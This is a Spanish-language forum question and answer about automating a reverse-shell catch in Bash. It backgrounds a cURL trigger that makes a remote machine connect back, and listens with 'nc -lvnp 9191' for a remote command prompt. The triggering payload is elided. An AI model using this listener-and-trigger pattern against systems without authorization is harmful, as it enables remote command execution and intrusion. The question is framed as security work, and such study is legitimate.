Usando netcat y cURL juntos en un script Bash

Usando netcat y cURL juntos en un script Bash

Esta pregunta está más relacionada con la seguridad de la información, pero parece que no puedo encontrar una solución alternativa para automatizar el siguiente proceso:

Hay un comando cURL que activa una conexión a netcat. Sin automatización, escribo nc -lvnp 9191, y enotroterminal ingreso el comando cURL que establece una conexión con mi máquina en el puerto 9191 que luego puedo usar para ejecutar algunos comandos en una máquina remota.

Estoy intentando algo como esto en mi script Bash:

nc -lvnp 9191&
curl ......

Netcat inicia un oyente, pasa a segundo plano, cURL activa la conexión (recibo la conexión), pero netcat se cierra inmediatamente.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

Si elimino nc -lvnp 9191&del script Bash y dejo solo el comando cURL en el script Bash, sucede lo siguiente:

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

Sin embargo, una vez que presiono 'enter', el trabajo de netcat se suspende inmediatamente:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

Tengo que fgretomar el trabajo de netcat y seguir trabajando, pero me preguntaba si de alguna manera podría salvarme de todo esto.

Respuesta1

Entonces, después de discutirlo con alguien, finalmente logramos que funcionara. Cambiamos los lugares de las líneas para que curlaparezca primero (pero como trabajo en segundo plano), luego netcat(sin fondo). El enfoque se parece al siguiente:

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

información relacionada